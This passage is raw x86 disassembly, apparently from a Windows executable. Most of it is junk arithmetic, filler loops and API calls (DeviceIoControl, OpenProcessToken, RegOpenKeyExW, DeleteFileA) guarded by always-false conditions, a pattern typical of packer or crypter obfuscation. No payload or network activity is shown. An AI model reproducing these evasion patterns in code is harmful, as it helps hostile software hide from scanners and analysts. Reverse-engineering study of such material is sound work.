mov dword [ebp - 0x231c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x231c]
mov dword [ebp + eax - 0x3b6c], ecx
mov eax, dword [ebp - 0x1a8]
mov eax, dword [ebp + eax*4 - 0x2f44]
cmp eax, dword [ebp - 0x231c]
je 0x45672a
mov dword [ebp - 0x1130], 1
jmp 0x456731
and dword [ebp - 0x1130], 0
mov eax, dword [ebp - 0x1130]
sub eax, dword [ebp - 0x2d7c]
mov dword [ebp - 0x2d84], eax
jmp 0x4565b4
mov dword [ebp - 0xc8], 1
jmp 0x456761
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0
jl 0x456815
mov dword [ebp - 0x37dc], 0
mov dword [ebp - 0x37e4], 0xddfd
mov dword [ebp - 0x758], 0
jmp 0x45679b
mov eax, dword [ebp - 0x758]
inc eax
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 2
jge 0x4567b7
mov eax, dword [ebp - 0x758]
mov dword [ebp + eax*4 - 0x3c40], 0xa7e1289e
jmp 0x45678e
mov dword [ebp - 0x49c], 3
jmp 0x4567d0
mov eax, dword [ebp - 0x49c]
dec eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0
jl 0x456810
mov dword [ebp - 0x37ec], 0
mov dword [ebp - 0x37f4], 0xfffffffe
mov dword [ebp - 0x37fc], 3
mov dword [ebp - 0x2324], 0
mov eax, dword [ebp - 0x2324]
inc eax
mov dword [ebp - 0x2324], eax
jmp 0x4567c3
jmp 0x456754
jmp 0x456566
cmp dword [ebp + 8], 2
jl 0x4698d6
mov dword [ebp - 0x260], 0x43cdf98a
mov dword [ebp - 0x9c0], 0
jmp 0x456847
mov eax, dword [ebp - 0x9c0]
inc eax
mov dword [ebp - 0x9c0], eax
cmp dword [ebp - 0x9c0], 3
jge 0x456863
mov eax, dword [ebp - 0x9c0]
mov dword [ebp + eax*4 - 0x3bb4], 0x4e1a
jmp 0x45683a
mov dword [ebp - 0x260], 2
jmp 0x45687c
mov eax, dword [ebp - 0x260]
dec eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0
jl 0x4568b3
mov eax, dword [ebp - 0x260]
cmp dword [ebp + eax*4 - 0x3bb4], 0
je 0x456897
jmp 0x4568b3
mov byte [ebp - 0x320], 0
movzx eax, byte [ebp - 0x320]
test eax, eax
je 0x4568b1
push 0
call dword [sym.imp.USER32.dll_CharNextW]
jmp 0x45686f
mov dword [ebp - 0x260], 0
jmp 0x4568cc
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 2
jg 0x456959
mov dword [ebp - 0x760], 8
mov byte [ebp - 0x322], 0
movzx eax, byte [ebp - 0x322]
test eax, eax
je 0x4568ff
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [ebp - 0x760], 2
jmp 0x456918
mov eax, dword [ebp - 0x760]
dec eax
mov dword [ebp - 0x760], eax
cmp dword [ebp - 0x760], 0
jl 0x456954
mov byte [ebp - 0x324], 0
movzx eax, byte [ebp - 0x324]
test eax, eax
je 0x456952
push 0
push 0
push 0x661
push 0
push 0x1e90
push 0
push 0x2b2
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x45690b
jmp 0x4568bf
mov dword [ebp - 0x2de8], 0xf99ff606
mov dword [ebp - 0x2de4], 0xf99ff606
mov dword [ebp - 0x2de0], 0xf99ff606
mov dword [ebp - 0x2ddc], 0xf99ff606
mov dword [ebp - 0x554], 8
mov dword [ebp - 0xc60], 0xfffffff6
mov dword [ebp - 0x2334], 0x8ee3f2f3
mov dword [ebp - 0x233c], 0xfffffff9
mov dword [ebp - 0x2d9c], 1
mov dword [ebp - 0x9c8], 0
jmp 0x4569cc
mov eax, dword [ebp - 0x9c8]
inc eax
mov dword [ebp - 0x9c8], eax
cmp dword [ebp - 0x9c8], 2
jge 0x4569e8
mov eax, dword [ebp - 0x9c8]
mov dword [ebp + eax*4 - 0x2bb4], 0xfffffffe
jmp 0x4569bf
mov dword [ebp - 0x554], 3
jmp 0x456a01
mov eax, dword [ebp - 0x554]
dec eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0
jl 0x456bcc
mov dword [ebp - 0x4a4], 0x15a6
mov dword [ebp - 0x1148], 0xfffffffb
mov eax, dword [ebp - 0x554]
cmp dword [ebp + eax*4 - 0x2de8], 0
jne 0x456bb1
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2de8], 0xffffffff
jae 0x456a52
mov dword [ebp - 0x1138], 1
jmp 0x456a59
and dword [ebp - 0x1138], 0
mov eax, dword [ebp - 0x554]
cmp dword [ebp - 0x1138], eax
jle 0x456a73
mov dword [ebp - 0x232c], 1
jmp 0x456a7a
and dword [ebp - 0x232c], 0
mov eax, dword [ebp - 0x232c]
mov dword [ebp - 0xc60], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2de8]
cmp eax, dword [ebp - 0xc60]
je 0x456aa6
mov dword [ebp - 0x2d8c], 1
jmp 0x456aad
and dword [ebp - 0x2d8c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2bb4]
mov dword [ebp - 0x3804], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x380c], eax
cmp dword [ebp - 0x4a4], 1
jg 0x456ae1
mov dword [ebp - 0x1140], 1
jmp 0x456ae8
and dword [ebp - 0x1140], 0
mov eax, dword [ebp - 0x1140]
mov dword [ebp - 0x2334], eax
mov eax, dword [ebp - 0x2334]
mov dword [ebp - 0x3814], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x381c], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x3824], eax
mov dword [ebp - 0x1148], 0xb607
mov eax, dword [ebp - 0x1148]
mov dword [ebp - 0x382c], eax
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x3904], eax
cmp dword [ebp - 0x233c], 0
jne 0x456b55
cmp dword [ebp - 0xc60], 0
jne 0x456b55
and dword [ebp - 0x2d94], 0
jmp 0x456b5f
mov dword [ebp - 0x2d94], 1
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x390c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x233c]
cmp dword [ebp + eax - 0x2bb4], ecx
jne 0x456b8c
mov dword [ebp - 0x1150], 1
jmp 0x456b93
and dword [ebp - 0x1150], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2bb4]
add eax, dword [ebp - 0x1150]
jne 0x456bb1
and dword [ebp - 0x2344], 0
jmp 0x456bbb
mov dword [ebp - 0x2344], 1
mov eax, dword [ebp - 0x2344]
mov dword [ebp - 0x2d9c], eax
jmp 0x4569f4
mov dword [ebp - 0x3914], 0xffffffff
mov dword [ebp - 0x391c], 6
mov dword [ebp - 0x3924], 0
mov dword [ebp - 0x392c], 0x25a80e35
mov dword [ebp - 0x3934], 1
mov dword [ebp - 0x393c], 0xfffffffa
mov dword [ebp - 0x3944], 0xf8b5131d
mov dword [ebp - 0x394c], 0xea5223fa
mov dword [ebp - 0x2dac], 0xd42ca8cd
mov dword [ebp - 0x3954], 0x79f6a715
mov dword [ebp - 0x395c], 8
mov dword [ebp - 0x3964], 0xffffffff
mov dword [ebp - 0x396c], 9
mov dword [ebp - 0x3974], 0xfffffff7
mov dword [ebp - 0x397c], 0
mov dword [ebp - 0x3984], 0x29b3a00d
mov dword [ebp - 0x2da4], 0xfffffff8
mov dword [ebp - 0x398c], 0x475ee4c2
mov dword [ebp - 0xb48], 0xbb7a
mov dword [ebp - 0xd58], 0xffffffff
mov dword [ebp - 0x3994], 0xfffffffd
mov dword [ebp - 0x1b0], 0
jmp 0x456cb7
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jge 0x456cd3
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x3cb8], 0x532b
jmp 0x456caa
mov dword [ebp - 0x1b0], 0
jmp 0x456cec
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 2
jge 0x456d08
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x3c50], 0xe33a79cc
jmp 0x456cdf
mov eax, dword [ebp - 0xb48]
dec eax
mov dword [ebp - 0xb48], eax
mov eax, dword [ebp - 0xd58]
inc eax
mov dword [ebp - 0xd58], eax
mov eax, dword [ebp - 0xb48]
imul eax, dword [ebp - 0xd58]
imul eax, dword [ebp - 0x2da4]
mov dword [ebp - 0x2dac], eax
mov byte [ebp - 0x2fa], 0
movzx eax, byte [ebp - 0x2fa]
test eax, eax
je 0x456d73
push 0x13ee
push 0
push 0x1e42
push 0xf56
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
mov dword [ebp - 0x20e8], 0xffffffff
mov dword [ebp - 0x9d0], 0xf57a7c2
mov dword [ebp - 0x1158], 0xeb4c8f0d
mov dword [ebp - 0x768], 0xffffffff
mov dword [ebp - 0x210], 0
jmp 0x456db4
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 2
jge 0x456dd0
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x2f14], 0
jmp 0x456da7
mov dword [ebp - 0x210], 0
jmp 0x456de9
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 3
jge 0x456e05
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x3b24], 0xf4df7b14
jmp 0x456ddc
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x399c], eax
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0x39a4], eax
mov eax, dword [ebp - 0x768]
dec eax
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x39ac], eax
mov dword [ebp - 0x1158], 1
mov eax, dword [ebp - 0x1158]
mov dword [ebp - 0x39b4], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x9d0]
neg eax
imul eax, eax, 0x51c3
mov dword [ebp - 0x234c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x234c]
mov dword [ebp + eax - 0x2f14], ecx
cmp dword [ebp - 0x234c], 0
je 0x456ea4
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2f14], 0
je 0x456ea4
and dword [ebp - 0x2db4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x9d0]
mov dword [ebp + eax - 0x3b24], ecx
mov byte [ebp - 0x2c0], 0
movzx eax, byte [ebp - 0x2c0]
test eax, eax
je 0x456ed8
cmp dword [ebp + 8], 1
jne 0x46be5e
mov dword [ebp - 0x510], 0xcdbe8e56
mov dword [ebp - 0x6f4], 0
jmp 0x469903
mov eax, dword [ebp - 0x6f4]
inc eax
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 1
jge 0x46991f
mov eax, dword [ebp - 0x6f4]
mov dword [ebp + eax*4 - 0x1c9c], 0xdde0
jmp 0x4698f6
mov dword [ebp - 0x510], 0
jmp 0x469938
mov eax, dword [ebp - 0x510]
dec eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0
jl 0x469c1a
mov dword [ebp - 0x2704], 0xa60d0058
mov dword [ebp - 0x2700], 0xa60d0058
mov dword [ebp - 0x26fc], 0xa60d0058
mov dword [ebp - 0x26f8], 0xa60d0058
mov dword [ebp - 0x6fc], 0
jmp 0x469986
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 2
jge 0x4699a2
mov eax, dword [ebp - 0x6fc]
mov dword [ebp + eax*4 - 0x24f8], 0xfffffff6
jmp 0x469979
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x24f8], 0
jmp 0x4699d0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x24f8]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x24f8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x24f8], 0
jl 0x4699fa
mov byte [ebp - 0x40d], 0
movzx eax, byte [ebp - 0x40d]
test eax, eax
je 0x4699f8
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
jmp 0x4699b5
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2704], 0
jmp 0x469a28
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2704]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2704], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2704], 0
jl 0x469c15
mov dword [ebp - 0x1ca4], 0xfffffff6
mov dword [ebp - 0x704], 0
jmp 0x469a5f
mov eax, dword [ebp - 0x704]
inc eax
mov dword [ebp - 0x704], eax
cmp dword [ebp - 0x704], 2
jge 0x469a7b
mov eax, dword [ebp - 0x704]
mov dword [ebp + eax*4 - 0xd9c], 0xffffffff
jmp 0x469a52
mov byte [ebp - 0x31b], 0
movzx eax, byte [ebp - 0x31b]
test eax, eax
je 0x469a95
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xd9c], 0
jmp 0x469ac3
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd9c], 0
jl 0x469c10
mov dword [ebp - 0x444], 1
mov dword [ebp - 0x444], 1
jmp 0x469afa
mov eax, dword [ebp - 0x444]
dec eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0
jl 0x469b16
mov eax, dword [ebp - 0x510]
mov dword [ebp + eax*4 - 0x24f4], 0xfffffffb
jmp 0x469aed
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xd9c]
mov ecx, dword [ebp - 0x510]
mov ecx, dword [ebp + ecx*4 - 0x1c9c]
cmp dword [ebp + eax*4 - 0x1c9c], ecx
jg 0x469b45
mov dword [ebp - 0x1cac], 1
jmp 0x469b4c
and dword [ebp - 0x1cac], 0
mov eax, dword [ebp - 0x444]
mov dword [ebp - 0x35bc], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2704]
mov dword [ebp - 0x1ca4], eax
cmp dword [ebp - 0x1ca4], 0
jl 0x469b80
mov dword [ebp - 0x1cb4], 1
jmp 0x469b87
and dword [ebp - 0x1cb4], 0
mov eax, dword [ebp - 0x1cac]
cmp eax, dword [ebp - 0x1cb4]
jl 0x469bb3
jmp 0x469a0d
jmp 0x46992b
mov byte [ebp - 0x3b5], 0
movzx eax, byte [ebp - 0x3b5]
test eax, eax
je 0x469c36
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x3020], 8
mov dword [ebp - 0x301c], 8
mov dword [ebp - 0x3018], 8
mov dword [ebp - 0x3014], 8
mov dword [ebp - 0x5fc], 0xfffffffb
mov dword [ebp - 0x2818], 0x72c25fcc
mov byte [ebp - 0x31d], 0
movzx eax, byte [ebp - 0x31d]
test eax, eax
je 0x469c91
push 0x1e6e
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov dword [ebp - 0x5fc], 3
jmp 0x469caa
mov eax, dword [ebp - 0x5fc]
dec eax
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 0
jl 0x469d45
mov dword [ebp - 0x70c], 0x54fddd3f
mov dword [ebp - 0x70c], 3
jmp 0x469cda
mov eax, dword [ebp - 0x70c]
dec eax
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 0
jl 0x469d1a
mov eax, dword [ebp - 0x5fc]
mov eax, dword [ebp + eax*4 - 0x3020]
inc eax
mov dword [ebp - 0x2818], eax
mov byte [ebp - 0x43d], 0
movzx eax, byte [ebp - 0x43d]
test eax, eax
je 0x469d18
push 0
push 0xfc0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
jmp 0x469ccd
mov byte [ebp - 0x31f], 0
movzx eax, byte [ebp - 0x31f]
test eax, eax
je 0x469d40
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x469c9d
mov dword [ebp - 0x71c], 1
mov dword [ebp - 0x714], 0
jmp 0x469d68
mov eax, dword [ebp - 0x714]
inc eax
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 4
jge 0x469d84
mov eax, dword [ebp - 0x714]
mov dword [ebp + eax*4 - 0x3d10], 0
jmp 0x469d5b
mov dword [ebp - 0x71c], 0
jmp 0x469d9d
mov eax, dword [ebp - 0x71c]
inc eax
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 0x19
jle 0x469dd4
mov byte [ebp - 0x3bd], 0
movzx eax, byte [ebp - 0x3bd]
test eax, eax
je 0x469dc0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3d10], 0
je 0x469dd2
jmp 0x469dd4
jmp 0x469d90
mov dword [ebp - 0xbe4], 0
mov dword [ebp - 0x1cd4], 0xad374006
mov dword [ebp - 0xbec], 0xafe8b0d1
mov dword [ebp - 0x2820], 0x27213ec7
mov dword [ebp - 0x1cdc], 0xd50f82ba
mov dword [ebp - 0x2830], 0xffff
mov dword [ebp - 0x22c], 0
jmp 0x469e29
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 1
jge 0x469e45
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x2828], 0x29edca8f
jmp 0x469e1c
mov dword [ebp - 0x22c], 0
jmp 0x469e5e
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 2
jge 0x469e7a
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x2f64], 4
jmp 0x469e51
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2f64]
dec eax
mov dword [ebp - 0x1ccc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1ccc]
mov dword [ebp + eax - 0x2f64], ecx
mov eax, dword [ebp - 0x1ccc]
mov dword [ebp - 0x1cd4], eax
mov eax, dword [ebp - 0x1cd4]
mov dword [ebp - 0x1cdc], eax
cmp dword [ebp - 0x1cdc], 0xffffffff
jle 0x469ece
mov dword [ebp - 0x1cf4], 1
jmp 0x469ed5
and dword [ebp - 0x1cf4], 0
cmp dword [ebp - 0xbec], 3
je 0x469eea
mov dword [ebp - 0x1ce4], 1
jmp 0x469ef1
and dword [ebp - 0x1ce4], 0
mov eax, dword [ebp - 0x2820]
cmp dword [ebp - 0x1ce4], eax
jne 0x469f0b
mov dword [ebp - 0x1cec], 1
jmp 0x469f12
and dword [ebp - 0x1cec], 0
imul eax, dword [ebp - 0x1cec], 0
add eax, dword [ebp - 0xbec]
cmp dword [ebp - 0xbe4], eax
jl 0x469f33
xor ecx, ecx
call fcn.00428dac
push eax
call fcn.004703a3
pop ecx
mov dword [ebp - 0x62c], 0xfffffff7
mov dword [ebp - 0x62c], 0xec0ae971
mov dword [ebp - 0x62c], 3
jmp 0x46be99
mov eax, dword [ebp - 0x62c]
inc eax
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x62c], 0xb
jl 0x46bf63
mov dword [ebp - 0x77c], 0
mov dword [ebp - 0x77c], 0xffffffe7
jmp 0x46bec9
mov eax, dword [ebp - 0x77c]
inc eax
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0x1a
jl 0x46bf5e
mov dword [ebp - 0x634], 0xfffffff8
mov dword [ebp - 0x784], 0
jmp 0x46bef9
mov eax, dword [ebp - 0x784]
inc eax
mov dword [ebp - 0x784], eax
cmp dword [ebp - 0x784], 1
jge 0x46bf15
mov eax, dword [ebp - 0x784]
mov dword [ebp + eax*4 - 0x3168], 1
jmp 0x46beec
mov dword [ebp - 0x634], 0
jmp 0x46bf2e
mov eax, dword [ebp - 0x634]
inc eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0
jg 0x46bf59
mov dword [ebp - 0x2918], 0xb5bf
cmp dword [ebp - 0x634], 0
je 0x46bf4c
jmp 0x46bf59
cmp dword [ebp - 0x2918], 0
je 0x46bf57
jmp 0x46bf21
jmp 0x46bf21
jmp 0x46bebc
jmp 0x46be8c
mov dword [ebp - 0x30], 0x7102d149
mov dword [ebp - 0x63c], 0x579253a3
mov dword [ebp - 0xef4], 0xfff9
mov dword [ebp - 0x78c], 0
jmp 0x46bf97
mov eax, dword [ebp - 0x78c]
inc eax
mov dword [ebp - 0x78c], eax
cmp dword [ebp - 0x78c], 3
jge 0x46bfb3
mov eax, dword [ebp - 0x78c]
mov dword [ebp + eax*4 - 0x3d4c], 0xb96bc712
jmp 0x46bf8a
cmp dword [ebp - 0x30], 0
je 0x46bfcb
cmp dword [ebp - 0x30], 0
je 0x46bfcb
mov dword [ebp - 0xe9c], 1
jmp 0x46bfd2
and dword [ebp - 0xe9c], 0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xe9c]
jl 0x46bfe9
mov dword [ebp - 0xea4], 1
jmp 0x46bff0
and dword [ebp - 0xea4], 0
mov eax, dword [ebp - 0xea4]
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], 0x865b49d5
jb 0x46c014
mov dword [ebp - 0x2920], 1
jmp 0x46c01b
and dword [ebp - 0x2920], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3170], eax
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x63c], eax
jne 0x46c03b
mov dword [ebp - 0x2928], 1
jmp 0x46c042
and dword [ebp - 0x2928], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3178], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3180], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3188], eax
cmp dword [ebp - 0x30], 0
je 0x46c2c3
mov dword [ebp - 0xc3c], 0xd164
mov dword [ebp - 0xc44], 0xfffffff6
mov dword [ebp - 0x3190], 8
mov dword [ebp - 0x3198], 0
mov dword [ebp - 0x31a0], 0
mov dword [ebp - 0x31a8], 7
mov dword [ebp - 0x794], 0
jmp 0x46c0bc
mov eax, dword [ebp - 0x794]
inc eax
mov dword [ebp - 0x794], eax
cmp dword [ebp - 0x794], 2
jge 0x46c0d8
mov eax, dword [ebp - 0x794]
mov dword [ebp + eax*4 - 0x3d00], 4
jmp 0x46c0af
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0xc3c], eax
je 0x46c0ef
mov dword [ebp - 0xeac], 1
jmp 0x46c0f6
and dword [ebp - 0xeac], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0xc3c]
cmp eax, dword [ebp - 0x63c]
jle 0x46c113
mov dword [ebp - 0xeb4], 1
jmp 0x46c11a
and dword [ebp - 0xeb4], 0
mov eax, dword [ebp - 0xeac]
cmp eax, dword [ebp - 0xeb4]
jle 0x46c134
mov dword [ebp - 0xebc], 1
jmp 0x46c13b
and dword [ebp - 0xebc], 0
cmp dword [ebp - 0xebc], 0xb674
jl 0x46c153
mov dword [ebp - 0xec4], 1
jmp 0x46c15a
and dword [ebp - 0xec4], 0
mov eax, dword [ebp - 0xec4]
mov dword [ebp - 0xc44], eax
mov eax, dword [ebp - 0xc3c]
cmp dword [ebp - 0xc44], eax
jl 0x46c180
mov dword [ebp - 0x2930], 1
jmp 0x46c187
and dword [ebp - 0x2930], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x31b0], eax
mov eax, 0xfffd
cmp eax, 1
jne 0x46c1a6
mov dword [ebp - 0xecc], 1
jmp 0x46c1ad
and dword [ebp - 0xecc], 0
imul eax, dword [ebp - 0xecc], 0xdf2a
test eax, eax
je 0x46c1d0
cmp dword [ebp - 0xc44], 0
je 0x46c1d0
mov dword [ebp - 0xed4], 1
jmp 0x46c1d7
and dword [ebp - 0xed4], 0
mov eax, dword [ebp - 0xed4]
sub eax, 3
cmp eax, 0xffffffff
jge 0x46c1f1
mov dword [ebp - 0xedc], 1
jmp 0x46c1f8
and dword [ebp - 0xedc], 0
cmp dword [ebp - 0xedc], 0xbd6c
jl 0x46c210
mov dword [ebp - 0x30], 2
jmp 0x46c2d3
mov eax, dword [ebp - 0x30]
dec eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x46c300
mov byte [ebp - 0x41d], 0
movzx eax, byte [ebp - 0x41d]
test eax, eax
je 0x46c2fe
push 0
push 0
push 0xbc9
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
jmp 0x46c2cc
push 0
push 0
push 0
push 0
push 0x19
push 0x64
push 0x1863b
push 0x18695
push 0x90000000
push 0xa8797c
push 0xa8797c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebp - 0xc6c], eax
mov dword [ebp - 0x530], 0x32667a87
mov dword [ebp - 0xc4c], 0x82c32b96
mov dword [ebp - 0x24c], 0
jmp 0x46c360
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x46c37c
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x3004], 0xf99f
jmp 0x46c353
mov dword [ebp - 0x24c], 0
jmp 0x46c395
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 1
jge 0x46c3b1
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x2948], 9
jmp 0x46c388
mov dword [ebp - 0x530], 0
jmp 0x46c3ca
cmp dword [ebp - 0x530], 2
jg 0x46c4f1
mov dword [ebp - 0x2938], 0x6c619a80
mov dword [ebp - 0xf1c], 0
mov dword [ebp - 0x2940], 0x3cc9
mov eax, dword [ebp - 0x530]
cmp dword [ebp + eax*4 - 0x3004], 0
je 0x46c445
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3004]
mov dword [ebp - 0xefc], eax
mov eax, dword [ebp - 0x530]
mov ecx, dword [ebp - 0xefc]
mov dword [ebp + eax*4 - 0x3004], ecx
imul eax, dword [ebp - 0xefc], 0x15aa
test eax, eax
je 0x46c445
mov dword [ebp - 0xf04], 1
jmp 0x46c44c
and dword [ebp - 0xf04], 0
cmp dword [ebp - 0xf04], 0x507e
jne 0x46c464
mov dword [ebp - 0xf0c], 1
jmp 0x46c46b
and dword [ebp - 0xf0c], 0
mov eax, dword [ebp - 0x2938]
cmp dword [ebp - 0xf0c], eax
jne 0x46c485
push 5
push dword [ebp - 0xc6c]
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x14], 0x59e57ad9
mov dword [ebp - 0xf6c], 0x31e7bf5c
mov dword [ebp - 0xfac], 0
mov dword [ebp - 0x2960], 0xffffffff
mov dword [ebp - 0x2968], 0xffffffff
mov dword [ebp - 0x7a4], 0
jmp 0x46c547
cmp dword [ebp - 0x7a4], 2
jge 0x46c563
mov eax, dword [ebp - 0x7a4]
mov dword [ebp + eax*4 - 0x3600], 0xfffffffe
jmp 0x46c53a
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jge 0x46c580